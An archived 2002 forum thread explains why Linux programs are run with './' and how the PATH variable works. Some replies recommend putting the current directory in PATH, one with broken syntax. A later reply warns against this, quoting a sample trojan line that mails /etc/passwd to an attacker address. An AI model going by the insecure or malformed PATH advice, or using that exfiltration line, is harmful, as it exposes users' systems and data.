











CompTIA
Exam Vouchers
Save money on CompTIA exams
| Question of the day
Sign up to receive
interactive practice questions
for MCSE, CompTIA
Cisco and other exams
| TestKing
Get MCSE, MCSD, CCNA, CCNP,A+, N+ and many more | * ExamSheets *
Guide for Success!
Actual Questions & Answers
MCSE, MCSD, A+ ,CCNA, CCNP
Oracle 8i, Oracle 9i Online practice tests
Certification sites Online university Online college Online education Distance learning Software forum Server administration forum Programming resources
|
|  |
| Author |
This should be an easy question
|
Tim
Guest
Registered: Not Yet Location: Country: State: Certifications: Working on:
Total Posts: N/A
|
|
This should be an easy question
OK first off as I've stated before I'm a newbie to linux.
My question has to deal with making C programs using g++. How come when
ever I make a program, example "Hello World", (being as I'm sure everybody
knows this one :-)) do I have to type ./Hello World to run it rather that
just being able to type Hello World. ?
Report this post to a moderator
|
|
06-26-02 12:25 AM
|
|
Mark
Guest
Registered: Not Yet Location: Country: State: Certifications: Working on:
Total Posts: N/A
|
|
Re: This should be an easy question
The ./ tells the shell that the binary is inside the current directory
and not in the regular path (/bin, /usr/local/bin,etc.)
On Tue, 25 Jun 2002 21:00:24 -0400, Tim wrote:
> OK first off as I've stated before I'm a newbie to linux.
>
> My question has to deal with making C programs using g++. How come when
> ever I make a program, example "Hello World", (being as I'm sure
> everybody knows this one :-)) do I have to type ./Hello World to run it
> rather that just being able to type Hello World. ?
Report this post to a moderator
|
|
06-26-02 12:25 AM
|
|
Boulware5
Moderator M

Registered: Mar 2001 Location: Country: USA State: Certifications: A+, Network+, Linux+, CST, A.A.S degree in CIS LAN concentration Working on: BS degree, CCNA, Security+
Total Posts: 3283
|
|
In your PATH environment variable, if you start it with a colon it will start with your CURRENT directory and you shouldn't have to type ./
Such as PATH=:/bin:/usr/bin:$HOME:/usr/local/bin
__________________
"They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety."
-- Ben Franklin
http://www.stopfcc.com/
Report this post to a moderator
|
|
06-26-02 12:40 AM
|
|
Markus Hagenbuchner
Guest
Registered: Not Yet Location: Country: State: Certifications: Working on:
Total Posts: N/A
|
|
Re: This should be an easy question
Tim,
../ is short for "current directory". Hence, executing programs with
../program ensures that you start program from your current directory. Using
../program is good practise because you know what you execute. Imagine what
happends if there are multiple programs with the same name located in
directories that are included in your search path. Which one to execute if
you just type the program name without path information?
By default, the search path (a list of directories in which to look at if you
type in a command or program name) does no include the current working
directory. In order to look at the current search path setting enter at the
command line prompt:
echo $PATH
to add the current working directory into the search path do this:
export $PATH=./:$PATH
Now, when you enter the name of a program/command, then your system will
first look in the current directory for the program and execute it if it can
find it there. If the program was not found there then the system will look
in the next directory listed in $PATH.
Also, familiarize yourself with the commands "which" and "whereis" using the
man command (e.g. man which).
And one last thing: To start Hello World, you'd have to type Hello\ World
(preceed every space with a \ so that the system knows that the space is part
of the string rather than separating two strings).
Hope this cleared things a bit
Markus
Tim wrote:
> OK first off as I've stated before I'm a newbie to linux.
>
> My question has to deal with making C programs using g++. How come when
> ever I make a program, example "Hello World", (being as I'm sure everybody
> knows this one :-)) do I have to type ./Hello World to run it rather that
> just being able to type Hello World. ?
Report this post to a moderator
|
|
06-26-02 09:25 AM
|
|
Johan Lindquist
Guest
Registered: Not Yet Location: Country: State: Certifications: Working on:
Total Posts: N/A
|
|
Re: This should be an easy question
Wed, 26 Jun 2002 at 04:14 GMT, peering quizzically at his shoes,
Markus Hagenbuchner <markus@uow.edu.au> suddenly blurted:
> to add the current working directory into the search path do this:
>
> export $PATH=./:$PATH
And if you do this, you will also risk that someone has (unbeknownst
to you) put an executable in /tmp named "ls" that is actually a script
containing the line
'mail l33t_h4x0r@hacks-r-us.com < /etc/passwd && ls'
which you will execute when looking for that file you put there a few
days ago but can't remember the name of.
In short: /don't do that/.
> Also, familiarize yourself with the commands "which" and "whereis"
> using the man command (e.g. man which).
Good advice. Also do 'man find' and 'man locate' while you're at it.
hth.
--
Time flies like an arrow, fruit flies like a banana. Perth ---> *
1:25pm up 2 days, 1:00, 3 users, load average: 1.45, 1.60, 1.59
$ cat /dev/bollocks Registered Linux user #261729
e-enable holistic e-services
Report this post to a moderator
|
|
06-26-02 11:25 AM
|
|
|
Featured site: MCSE, MCSD, CompTIA, CCNA training videos
Forum Rules: Who Can Read The Forum? Any registered user or guest.
Who Can Post New Topics? Any registered user.
Who Can Post Replies? Any registered user.
Changes: Messages can be edited by their author.
Posts: HTML code is OFF. Smilies are ON. vB code is ON. [IMG] code is OFF. |
|
ExamNotes forum archive
|